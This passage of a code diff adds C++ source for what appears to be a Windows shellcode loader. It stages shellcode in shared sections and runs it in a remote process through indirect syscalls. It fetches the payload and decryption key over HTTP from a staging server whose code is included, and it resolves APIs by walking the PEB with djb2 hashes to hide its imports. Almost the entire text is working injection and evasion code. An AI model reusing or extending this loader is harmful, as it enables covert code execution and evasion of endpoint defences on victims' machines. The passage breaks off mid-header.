bool ExecuteRemote(TartarusGate::SyscallTable& sc, HANDLE targetProcess, PVOID entry) {
|
||||||
|
if (!sc.initialized || !targetProcess || !entry) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE hThread = nullptr;
|
||||||
|
NTSTATUS st = sc.NtCreateThreadEx(
|
||||||
|
&hThread,
|
||||||
|
THREAD_ALL_ACCESS,
|
||||||
|
nullptr,
|
||||||
|
targetProcess,
|
||||||
|
entry,
|
||||||
|
nullptr,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
nullptr);
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(st) || !hThread) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
sc.NtClose(hThread);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void Cleanup(TartarusGate::SyscallTable& sc, MappedRegion& region, HANDLE targetProcess) {
|
||||||
|
if (!sc.initialized) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (region.localView) {
|
||||||
|
sc.NtUnmapViewOfSection(GetCurrentProcess(), region.localView);
|
||||||
|
region.localView = nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (region.mappedRemote && region.remoteView && targetProcess) {
|
||||||
|
sc.NtUnmapViewOfSection(targetProcess, region.remoteView);
|
||||||
|
region.remoteView = nullptr;
|
||||||
|
region.mappedRemote = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (region.section) {
|
||||||
|
sc.NtClose(region.section);
|
||||||
|
region.section = nullptr;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace SectionMap
|
||||||
@@ -0,0 +1,44 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <cstdint>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
#include "../syscall/tartarus_gate.hpp"
|
||||||
|
|
||||||
|
namespace SectionMap {
|
||||||
|
|
||||||
|
struct MappedRegion {
|
||||||
|
HANDLE section = nullptr;
|
||||||
|
PVOID localView = nullptr;
|
||||||
|
PVOID remoteView = nullptr;
|
||||||
|
SIZE_T viewSize = 0;
|
||||||
|
bool mappedRemote = false;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Stage shellcode via anonymous section + NtMapViewOfSection (W^X).
|
||||||
|
// Replaces naive NtAllocateVirtualMemory for local ingestion.
|
||||||
|
bool StageLocal(
|
||||||
|
TartarusGate::SyscallTable& sc,
|
||||||
|
const std::vector<BYTE>& shellcode,
|
||||||
|
MappedRegion& out);
|
||||||
|
|
||||||
|
// Map staged section into remote process (shared section object).
|
||||||
|
bool MapRemote(
|
||||||
|
TartarusGate::SyscallTable& sc,
|
||||||
|
HANDLE targetProcess,
|
||||||
|
MappedRegion& region);
|
||||||
|
|
||||||
|
// Execute shellcode locally via NtCreateThreadEx (indirect syscall).
|
||||||
|
bool ExecuteLocal(TartarusGate::SyscallTable& sc, PVOID entry);
|
||||||
|
|
||||||
|
// Execute in remote process via NtCreateThreadEx.
|
||||||
|
bool ExecuteRemote(TartarusGate::SyscallTable& sc, HANDLE targetProcess, PVOID entry);
|
||||||
|
|
||||||
|
// Release views and section handle.
|
||||||
|
void Cleanup(TartarusGate::SyscallTable& sc, MappedRegion& region, HANDLE targetProcess);
|
||||||
|
|
||||||
|
// Align size to page boundary.
|
||||||
|
SIZE_T PageAlign(SIZE_T size);
|
||||||
|
|
||||||
|
} // namespace SectionMap
|
||||||
@@ -0,0 +1,361 @@
|
|||||||
|
#ifndef WIN32_LEAN_AND_MEAN
|
||||||
|
#define WIN32_LEAN_AND_MEAN
|
||||||
|
#endif
|
||||||
|
#include <winsock2.h>
|
||||||
|
#include <ws2tcpip.h>
|
||||||
|
#include <Windows.h>
|
||||||
|
|
||||||
|
#include "http_transport.hpp"
|
||||||
|
#include "../resolve/api_resolver.hpp"
|
||||||
|
#include "../common/hashes.hpp"
|
||||||
|
#include "../common/log.hpp"
|
||||||
|
|
||||||
|
#include <fstream>
|
||||||
|
#include <sstream>
|
||||||
|
#include <cstring>
|
||||||
|
|
||||||
|
namespace HttpTransport {
|
||||||
|
|
||||||
|
namespace {
|
||||||
|
|
||||||
|
struct WinsockApi {
|
||||||
|
decltype(&WSAStartup) WSAStartupFn = nullptr;
|
||||||
|
decltype(&WSACleanup) WSACleanupFn = nullptr;
|
||||||
|
decltype(&socket) socketFn = nullptr;
|
||||||
|
decltype(&connect) connectFn = nullptr;
|
||||||
|
decltype(&send) sendFn = nullptr;
|
||||||
|
decltype(&recv) recvFn = nullptr;
|
||||||
|
decltype(&closesocket) closesocketFn = nullptr;
|
||||||
|
decltype(&bind) bindFn = nullptr;
|
||||||
|
decltype(&listen) listenFn = nullptr;
|
||||||
|
decltype(&accept) acceptFn = nullptr;
|
||||||
|
decltype(&getaddrinfo) getaddrinfoFn = nullptr;
|
||||||
|
decltype(&freeaddrinfo) freeaddrinfoFn = nullptr;
|
||||||
|
decltype(&setsockopt) setsockoptFn = nullptr;
|
||||||
|
bool loaded = false;
|
||||||
|
bool started = false;
|
||||||
|
};
|
||||||
|
|
||||||
|
bool LoadWinsock(WinsockApi& ws) {
|
||||||
|
if (ws.loaded) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
ws.WSAStartupFn = reinterpret_cast<decltype(ws.WSAStartupFn)>(ApiResolver::ResolveWs2(Hashes::H_WSAStartup));
|
||||||
|
ws.WSACleanupFn = reinterpret_cast<decltype(ws.WSACleanupFn)>(ApiResolver::ResolveWs2(Hashes::H_WSACleanup));
|
||||||
|
ws.socketFn = reinterpret_cast<decltype(ws.socketFn)>(ApiResolver::ResolveWs2(Hashes::H_socket));
|
||||||
|
ws.connectFn = reinterpret_cast<decltype(ws.connectFn)>(ApiResolver::ResolveWs2(Hashes::H_connect));
|
||||||
|
ws.sendFn = reinterpret_cast<decltype(ws.sendFn)>(ApiResolver::ResolveWs2(Hashes::H_send));
|
||||||
|
ws.recvFn = reinterpret_cast<decltype(ws.recvFn)>(ApiResolver::ResolveWs2(Hashes::H_recv));
|
||||||
|
ws.closesocketFn = reinterpret_cast<decltype(ws.closesocketFn)>(ApiResolver::ResolveWs2(Hashes::H_closesocket));
|
||||||
|
ws.bindFn = reinterpret_cast<decltype(ws.bindFn)>(ApiResolver::ResolveWs2(Hashes::H_bind));
|
||||||
|
ws.listenFn = reinterpret_cast<decltype(ws.listenFn)>(ApiResolver::ResolveWs2(Hashes::H_listen));
|
||||||
|
ws.acceptFn = reinterpret_cast<decltype(ws.acceptFn)>(ApiResolver::ResolveWs2(Hashes::H_accept));
|
||||||
|
ws.getaddrinfoFn = reinterpret_cast<decltype(ws.getaddrinfoFn)>(ApiResolver::ResolveWs2(Hashes::H_getaddrinfo));
|
||||||
|
ws.freeaddrinfoFn= reinterpret_cast<decltype(ws.freeaddrinfoFn)>(ApiResolver::ResolveWs2(Hashes::H_freeaddrinfo));
|
||||||
|
ws.setsockoptFn = reinterpret_cast<decltype(ws.setsockoptFn)>(ApiResolver::ResolveWs2(Hashes::H_setsockopt));
|
||||||
|
|
||||||
|
ws.loaded = ws.WSAStartupFn && ws.socketFn && ws.connectFn && ws.sendFn && ws.recvFn;
|
||||||
|
return ws.loaded;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool EnsureWinsock(WinsockApi& ws) {
|
||||||
|
if (!LoadWinsock(ws)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if (!ws.started) {
|
||||||
|
WSADATA wsa{};
|
||||||
|
if (ws.WSAStartupFn(MAKEWORD(2, 2), &wsa) != 0) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
ws.started = true;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool HttpGet(const Endpoint& ep, const char* path, std::vector<std::uint8_t>& body) {
|
||||||
|
Log::Banner("HTTP GET (fileless client)");
|
||||||
|
Log::Info("GET http://%s:%u%s", ep.host.c_str(), ep.port, path);
|
||||||
|
|
||||||
|
WinsockApi ws{};
|
||||||
|
if (!EnsureWinsock(ws)) {
|
||||||
|
Log::Dbg("winsock load/WSAStartup failed");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
Log::Dbg("winsock ready");
|
||||||
|
|
||||||
|
addrinfo hints{};
|
||||||
|
hints.ai_family = AF_UNSPEC;
|
||||||
|
hints.ai_socktype = SOCK_STREAM;
|
||||||
|
hints.ai_protocol = IPPROTO_TCP;
|
||||||
|
|
||||||
|
addrinfo* result = nullptr;
|
||||||
|
const auto portStr = std::to_string(ep.port);
|
||||||
|
if (ws.getaddrinfoFn(ep.host.c_str(), portStr.c_str(), &hints, &result) != 0) {
|
||||||
|
Log::Dbg("getaddrinfo failed host=%s port=%s", ep.host.c_str(), portStr.c_str());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
Log::Dbg("getaddrinfo OK — connecting...");
|
||||||
|
|
||||||
|
SOCKET sock = INVALID_SOCKET;
|
||||||
|
for (auto* ptr = result; ptr; ptr = ptr->ai_next) {
|
||||||
|
sock = ws.socketFn(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
|
||||||
|
if (sock == INVALID_SOCKET) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (ws.connectFn(sock, ptr->ai_addr, static_cast<int>(ptr->ai_addrlen)) == 0) {
|
||||||
|
Log::Sys("connected socket=%llu family=%d",
|
||||||
|
static_cast<unsigned long long>(sock), ptr->ai_family);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
ws.closesocketFn(sock);
|
||||||
|
sock = INVALID_SOCKET;
|
||||||
|
}
|
||||||
|
ws.freeaddrinfoFn(result);
|
||||||
|
|
||||||
|
if (sock == INVALID_SOCKET) {
|
||||||
|
Log::Dbg("connect failed to %s:%u", ep.host.c_str(), ep.port);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::ostringstream req;
|
||||||
|
req << "GET " << path << " HTTP/1.1\r\n"
|
||||||
|
<< "Host: " << ep.host << "\r\n"
|
||||||
|
<< "Connection: close\r\n\r\n";
|
||||||
|
|
||||||
|
const std::string reqStr = req.str();
|
||||||
|
Log::Dbg("send request (%zu bytes)", reqStr.size());
|
||||||
|
if (ws.sendFn(sock, reqStr.c_str(), static_cast<int>(reqStr.size()), 0) <= 0) {
|
||||||
|
Log::Dbg("send failed");
|
||||||
|
ws.closesocketFn(sock);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<std::uint8_t> response;
|
||||||
|
char buf[4096];
|
||||||
|
for (;;) {
|
||||||
|
const int n = ws.recvFn(sock, buf, sizeof(buf), 0);
|
||||||
|
if (n <= 0) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
response.insert(response.end(), buf, buf + n);
|
||||||
|
}
|
||||||
|
ws.closesocketFn(sock);
|
||||||
|
Log::Dbg("recv total response=%zu bytes", response.size());
|
||||||
|
|
||||||
|
// Find end of HTTP headers
|
||||||
|
const char* data = reinterpret_cast<const char*>(response.data());
|
||||||
|
const char* hdrEnd = strstr(data, "\r\n\r\n");
|
||||||
|
if (!hdrEnd) {
|
||||||
|
Log::Dbg("no HTTP header terminator");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
const size_t bodyOff = (hdrEnd - data) + 4;
|
||||||
|
|
||||||
|
size_t contentLen = 0;
|
||||||
|
const char* cl = strstr(data, "Content-Length:");
|
||||||
|
if (cl && cl < hdrEnd) {
|
||||||
|
contentLen = static_cast<size_t>(std::strtoul(cl + 15, nullptr, 10));
|
||||||
|
}
|
||||||
|
Log::Dbg("headers end @%zu Content-Length=%zu", bodyOff, contentLen);
|
||||||
|
|
||||||
|
if (contentLen > 0 && bodyOff + contentLen <= response.size()) {
|
||||||
|
body.assign(response.begin() + static_cast<ptrdiff_t>(bodyOff),
|
||||||
|
response.begin() + static_cast<ptrdiff_t>(bodyOff + contentLen));
|
||||||
|
} else if (bodyOff < response.size()) {
|
||||||
|
body.assign(response.begin() + static_cast<ptrdiff_t>(bodyOff), response.end());
|
||||||
|
} else {
|
||||||
|
body.clear();
|
||||||
|
}
|
||||||
|
Log::Info("HTTP body size=%zu for %s", body.size(), path);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string BuildHttpResponse(const std::vector<std::uint8_t>& body, const char* contentType) {
|
||||||
|
std::ostringstream oss;
|
||||||
|
oss << "HTTP/1.1 200 OK\r\n"
|
||||||
|
<< "Content-Type: " << contentType << "\r\n"
|
||||||
|
<< "Content-Length: " << body.size() << "\r\n"
|
||||||
|
<< "Connection: close\r\n\r\n";
|
||||||
|
std::string hdr = oss.str();
|
||||||
|
std::string out = hdr;
|
||||||
|
out.append(reinterpret_cast<const char*>(body.data()), body.size());
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ReadFileBytes(const std::wstring& path, std::vector<std::uint8_t>& out) {
|
||||||
|
std::ifstream f(path, std::ios::binary | std::ios::ate);
|
||||||
|
if (!f.is_open()) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
out.resize(static_cast<size_t>(f.tellg()));
|
||||||
|
f.seekg(0);
|
||||||
|
f.read(reinterpret_cast<char*>(out.data()), out.size());
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void HandleClient(WinsockApi& ws, SOCKET client,
|
||||||
|
const std::vector<std::uint8_t>& payload, const std::vector<std::uint8_t>& keyBlob,
|
||||||
|
bool /*verbose*/) {
|
||||||
|
char buf[2048] = {};
|
||||||
|
const int nrecv = ws.recvFn(client, buf, sizeof(buf) - 1, 0);
|
||||||
|
|
||||||
|
// First request line only for clean logs
|
||||||
|
char reqLine[128] = {};
|
||||||
|
{
|
||||||
|
size_t i = 0;
|
||||||
|
while (i + 1 < sizeof(reqLine) && buf[i] && buf[i] != '\r' && buf[i] != '\n') {
|
||||||
|
reqLine[i] = buf[i];
|
||||||
|
++i;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Log::Srv("accept client sock=%llu recv=%d req=\"%s\"",
|
||||||
|
static_cast<unsigned long long>(client), nrecv, reqLine);
|
||||||
|
|
||||||
|
std::vector<std::uint8_t> response;
|
||||||
|
const char* route = "404";
|
||||||
|
size_t bodyBytes = 0;
|
||||||
|
if (strstr(buf, "GET /api/v1/payload")) {
|
||||||
|
route = "/api/v1/payload";
|
||||||
|
bodyBytes = payload.size();
|
||||||
|
auto http = BuildHttpResponse(payload, "application/octet-stream");
|
||||||
|
response.assign(http.begin(), http.end());
|
||||||
|
} else if (strstr(buf, "GET /api/v1/key")) {
|
||||||
|
route = "/api/v1/key";
|
||||||
|
bodyBytes = keyBlob.size();
|
||||||
|
auto http = BuildHttpResponse(keyBlob, "application/octet-stream");
|
||||||
|
response.assign(http.begin(), http.end());
|
||||||
|
} else if (strstr(buf, "GET /api/v1/health")) {
|
||||||
|
route = "/api/v1/health";
|
||||||
|
bodyBytes = 2;
|
||||||
|
const char* ok = "HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nOK";
|
||||||
|
response.assign(ok, ok + strlen(ok));
|
||||||
|
} else {
|
||||||
|
const char* nf = "HTTP/1.1 404 Not Found\r\nContent-Length: 0\r\n\r\n";
|
||||||
|
response.assign(nf, nf + strlen(nf));
|
||||||
|
}
|
||||||
|
|
||||||
|
const int nsent = ws.sendFn(client, reinterpret_cast<const char*>(response.data()),
|
||||||
|
static_cast<int>(response.size()), 0);
|
||||||
|
Log::Srv("reply route=%s body=%zu wire=%zu sent=%d",
|
||||||
|
route, bodyBytes, response.size(), nsent);
|
||||||
|
ws.closesocketFn(client);
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace
|
||||||
|
|
||||||
|
bool ParseSource(const std::string& source, Endpoint& out) {
|
||||||
|
out = {};
|
||||||
|
out.port = 8080;
|
||||||
|
|
||||||
|
const auto colon = source.find(':');
|
||||||
|
if (colon == std::string::npos) {
|
||||||
|
out.host = source;
|
||||||
|
return !out.host.empty();
|
||||||
|
}
|
||||||
|
|
||||||
|
out.host = source.substr(0, colon);
|
||||||
|
try {
|
||||||
|
out.port = static_cast<std::uint16_t>(std::stoi(source.substr(colon + 1)));
|
||||||
|
} catch (...) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return !out.host.empty();
|
||||||
|
}
|
||||||
|
|
||||||
|
bool FetchPayload(const Endpoint& ep, std::vector<std::uint8_t>& body) {
|
||||||
|
return HttpGet(ep, "/api/v1/payload", body);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool FetchKey(const Endpoint& ep, std::vector<std::uint8_t>& body) {
|
||||||
|
return HttpGet(ep, "/api/v1/key", body);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool RunServerMemory(std::uint16_t port, const std::vector<std::uint8_t>& payload,
|
||||||
|
const std::vector<std::uint8_t>& keyBlob, bool verbose) {
|
||||||
|
// Prefer explicit flag; also honor Log server channel if already enabled.
|
||||||
|
if (verbose) {
|
||||||
|
Log::SetServerVerbose(true);
|
||||||
|
}
|
||||||
|
|
||||||
|
Log::SrvBanner("HTTP Bind");
|
||||||
|
Log::Srv("WSAStartup + resolve passive 0.0.0.0:%u", port);
|
||||||
|
|
||||||
|
WinsockApi ws{};
|
||||||
|
if (!EnsureWinsock(ws)) {
|
||||||
|
Log::Srv("winsock load failed");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
Log::Srv("winsock APIs resolved (hash) + started");
|
||||||
|
|
||||||
|
addrinfo hints{};
|
||||||
|
hints.ai_family = AF_INET;
|
||||||
|
hints.ai_socktype = SOCK_STREAM;
|
||||||
|
hints.ai_protocol = IPPROTO_TCP;
|
||||||
|
hints.ai_flags = AI_PASSIVE;
|
||||||
|
|
||||||
|
addrinfo* result = nullptr;
|
||||||
|
const auto portStr = std::to_string(port);
|
||||||
|
if (ws.getaddrinfoFn(nullptr, portStr.c_str(), &hints, &result) != 0) {
|
||||||
|
Log::Srv("getaddrinfo failed for port %s", portStr.c_str());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
SOCKET listenSock = ws.socketFn(result->ai_family, result->ai_socktype, result->ai_protocol);
|
||||||
|
if (listenSock == INVALID_SOCKET) {
|
||||||
|
Log::Srv("socket() failed");
|
||||||
|
ws.freeaddrinfoFn(result);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
Log::Srv("listen socket=%llu", static_cast<unsigned long long>(listenSock));
|
||||||
|
|
||||||
|
int yes = 1;
|
||||||
|
ws.setsockoptFn(listenSock, SOL_SOCKET, SO_REUSEADDR, reinterpret_cast<const char*>(&yes), sizeof(yes));
|
||||||
|
Log::Srv("SO_REUSEADDR=1");
|
||||||
|
|
||||||
|
if (ws.bindFn(listenSock, result->ai_addr, static_cast<int>(result->ai_addrlen)) != 0) {
|
||||||
|
Log::Srv("bind failed on port %u", port);
|
||||||
|
ws.closesocketFn(listenSock);
|
||||||
|
ws.freeaddrinfoFn(result);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
ws.freeaddrinfoFn(result);
|
||||||
|
Log::Srv("bind OK 0.0.0.0:%u", port);
|
||||||
|
|
||||||
|
if (ws.listenFn(listenSock, SOMAXCONN) != 0) {
|
||||||
|
Log::Srv("listen failed");
|
||||||
|
ws.closesocketFn(listenSock);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
Log::Srv("listen OK backlog=SOMAXCONN");
|
||||||
|
|
||||||
|
// Always show ready line; details only with --verbose
|
||||||
|
Log::Ok("Fileless server listening on port %u (payload=%zu key=%zu)",
|
||||||
|
port, payload.size(), keyBlob.size());
|
||||||
|
Log::Srv("endpoints: GET /api/v1/payload | /api/v1/key | /api/v1/health");
|
||||||
|
Log::Srv("waiting for clients...");
|
||||||
|
|
||||||
|
for (;;) {
|
||||||
|
SOCKET client = ws.acceptFn(listenSock, nullptr, nullptr);
|
||||||
|
if (client == INVALID_SOCKET) {
|
||||||
|
Log::Srv("accept returned INVALID_SOCKET — retry");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
HandleClient(ws, client, payload, keyBlob, verbose);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
bool RunServer(std::uint16_t port, const std::wstring& payloadPath, const std::wstring& keyPath) {
|
||||||
|
std::vector<std::uint8_t> payload;
|
||||||
|
std::vector<std::uint8_t> keyBlob;
|
||||||
|
|
||||||
|
if (!ReadFileBytes(payloadPath, payload)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Key is optional for non-encrypted payloads
|
||||||
|
ReadFileBytes(keyPath, keyBlob);
|
||||||
|
return RunServerMemory(port, payload, keyBlob, false);
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace HttpTransport
|
||||||
@@ -0,0 +1,31 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <cstdint>
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
namespace HttpTransport {
|
||||||
|
|
||||||
|
struct Endpoint {
|
||||||
|
std::string host;
|
||||||
|
std::uint16_t port = 8080;
|
||||||
|
bool useTls = false; // plain HTTP for lab
|
||||||
|
};
|
||||||
|
|
||||||
|
// Parse host[:port] from --source argument.
|
||||||
|
bool ParseSource(const std::string& source, Endpoint& out);
|
||||||
|
|
||||||
|
// GET /api/v1/payload — returns raw shellcode bytes (plain or AES ciphertext).
|
||||||
|
bool FetchPayload(const Endpoint& ep, std::vector<std::uint8_t>& body);
|
||||||
|
|
||||||
|
// GET /api/v1/key — returns packed key material blob.
|
||||||
|
bool FetchKey(const Endpoint& ep, std::vector<std::uint8_t>& body);
|
||||||
|
|
||||||
|
// Run minimal HTTP server (Windows) — serves payload + key without exposing filenames.
|
||||||
|
bool RunServer(std::uint16_t port, const std::wstring& payloadPath, const std::wstring& keyPath);
|
||||||
|
|
||||||
|
// Run server with in-memory blobs (after --enc AES).
|
||||||
|
bool RunServerMemory(std::uint16_t port, const std::vector<std::uint8_t>& payload,
|
||||||
|
const std::vector<std::uint8_t>& keyBlob, bool verbose = false);
|
||||||
|
|
||||||
|
} // namespace HttpTransport
|
||||||
@@ -0,0 +1,125 @@
|
|||||||
|
#include "pe_parser.hpp"
|
||||||
|
#include "../common/hashes.hpp"
|
||||||
|
|
||||||
|
#include <cstring>
|
||||||
|
|
||||||
|
namespace PeParser {
|
||||||
|
|
||||||
|
Peb* GetPeb() {
|
||||||
|
#ifdef _WIN64
|
||||||
|
return reinterpret_cast<Peb*>(__readgsqword(0x60));
|
||||||
|
#else
|
||||||
|
return reinterpret_cast<Peb*>(__readfsdword(0x30));
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
bool WideToLowerAscii(const PeUnicodeString& name, char* out, size_t outCap) {
|
||||||
|
if (!name.Buffer || name.Length == 0 || outCap == 0) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
const int wcharCount = name.Length / sizeof(WCHAR);
|
||||||
|
int written = WideCharToMultiByte(
|
||||||
|
CP_ACP, 0, name.Buffer, wcharCount,
|
||||||
|
out, static_cast<int>(outCap - 1), nullptr, nullptr);
|
||||||
|
if (written <= 0) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
out[written] = '\0';
|
||||||
|
CharLowerA(out);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
HMODULE GetModuleByHash(std::uint32_t moduleHash) {
|
||||||
|
auto* peb = GetPeb();
|
||||||
|
if (!peb || !peb->Ldr) {
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
auto* head = &peb->Ldr->InMemoryOrderModuleList;
|
||||||
|
for (auto* link = head->Flink; link != head; link = link->Flink) {
|
||||||
|
auto* entry = reinterpret_cast<LdrDataTableEntry*>(
|
||||||
|
reinterpret_cast<BYTE*>(link) - offsetof(LdrDataTableEntry, InMemoryOrderLinks));
|
||||||
|
|
||||||
|
if (!entry->BaseDllName.Buffer) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
char narrow[MAX_PATH] = {};
|
||||||
|
if (!WideToLowerAscii(entry->BaseDllName, narrow, sizeof(narrow))) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Match precomputed hash (api_hash constants) or runtime djb2 lowercase.
|
||||||
|
if (Hashes::Djb2(narrow) == moduleHash || Hashes::Djb2Lower(narrow) == moduleHash) {
|
||||||
|
return reinterpret_cast<HMODULE>(entry->DllBase);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
HMODULE GetModuleByIndex(unsigned index) {
|
||||||
|
auto* peb = GetPeb();
|
||||||
|
if (!peb || !peb->Ldr) {
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
auto* head = &peb->Ldr->InMemoryOrderModuleList;
|
||||||
|
unsigned i = 0;
|
||||||
|
for (auto* link = head->Flink; link != head; link = link->Flink, ++i) {
|
||||||
|
if (i == index) {
|
||||||
|
auto* entry = reinterpret_cast<LdrDataTableEntry*>(
|
||||||
|
reinterpret_cast<BYTE*>(link) - offsetof(LdrDataTableEntry, InMemoryOrderLinks));
|
||||||
|
return reinterpret_cast<HMODULE>(entry->DllBase);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
PIMAGE_NT_HEADERS GetNtHeaders(HMODULE module) {
|
||||||
|
if (!module) {
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
auto* base = reinterpret_cast<BYTE*>(module);
|
||||||
|
auto* dos = reinterpret_cast<PIMAGE_DOS_HEADER>(base);
|
||||||
|
if (dos->e_magic != IMAGE_DOS_SIGNATURE) {
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
auto* nt = reinterpret_cast<PIMAGE_NT_HEADERS>(base + dos->e_lfanew);
|
||||||
|
if (nt->Signature != IMAGE_NT_SIGNATURE) {
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
return nt;
|
||||||
|
}
|
||||||
|
|
||||||
|
FARPROC GetExportByHash(HMODULE module, std::uint32_t exportHash) {
|
||||||
|
if (!module) {
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
auto* base = reinterpret_cast<BYTE*>(module);
|
||||||
|
auto* nt = GetNtHeaders(module);
|
||||||
|
if (!nt) {
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
const auto& dir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||||
|
if (dir.VirtualAddress == 0 || dir.Size == 0) {
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
auto* exp = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(base + dir.VirtualAddress);
|
||||||
|
auto* names = reinterpret_cast<PDWORD>(base + exp->AddressOfNames);
|
||||||
|
auto* ords = reinterpret_cast<PWORD>(base + exp->AddressOfNameOrdinals);
|
||||||
|
auto* funcs = reinterpret_cast<PDWORD>(base + exp->AddressOfFunctions);
|
||||||
|
|
||||||
|
for (DWORD i = 0; i < exp->NumberOfNames; ++i) {
|
||||||
|
const char* exportName = reinterpret_cast<const char*>(base + names[i]);
|
||||||
|
if (Hashes::Djb2(exportName) != exportHash) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
return reinterpret_cast<FARPROC>(base + funcs[ords[i]]);
|
||||||
|
}
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace PeParser
|
||||||
@@ -0,0 +1,59 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <cstdint>
|
||||||
|
|
||||||
|
namespace PeParser {
|
||||||
|
|
||||||
|
// Minimal PEB/LDR structures (winternl.h is incomplete for InMemoryOrder walk).
|
||||||
|
struct PeUnicodeString {
|
||||||
|
USHORT Length;
|
||||||
|
USHORT MaximumLength;
|
||||||
|
PWSTR Buffer;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct LdrDataTableEntry {
|
||||||
|
PVOID Reserved1[2];
|
||||||
|
LIST_ENTRY InMemoryOrderLinks;
|
||||||
|
PVOID Reserved2[2];
|
||||||
|
PVOID DllBase;
|
||||||
|
PVOID Reserved3[2];
|
||||||
|
PeUnicodeString BaseDllName;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct PebLdrData {
|
||||||
|
ULONG Length;
|
||||||
|
BOOLEAN Initialized;
|
||||||
|
PVOID SsHandle;
|
||||||
|
LIST_ENTRY InLoadOrderModuleList;
|
||||||
|
LIST_ENTRY InMemoryOrderModuleList;
|
||||||
|
LIST_ENTRY InInitializationOrderModuleList;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct Peb {
|
||||||
|
BYTE Reserved1[2];
|
||||||
|
BYTE BeingDebugged;
|
||||||
|
BYTE Reserved2[1];
|
||||||
|
PVOID Reserved3[2];
|
||||||
|
PebLdrData* Ldr;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Returns process environment block pointer (x64: GS:[0x60]).
|
||||||
|
Peb* GetPeb();
|
||||||
|
|
||||||
|
// Walk PEB->Ldr->InMemoryOrderModuleList; match module by djb2 lowercase hash.
|
||||||
|
HMODULE GetModuleByHash(std::uint32_t moduleHash);
|
||||||
|
|
||||||
|
// InMemoryOrder index: 0=exe, 1=ntdll, 2=kernel32 (typical load order).
|
||||||
|
HMODULE GetModuleByIndex(unsigned index);
|
||||||
|
|
||||||
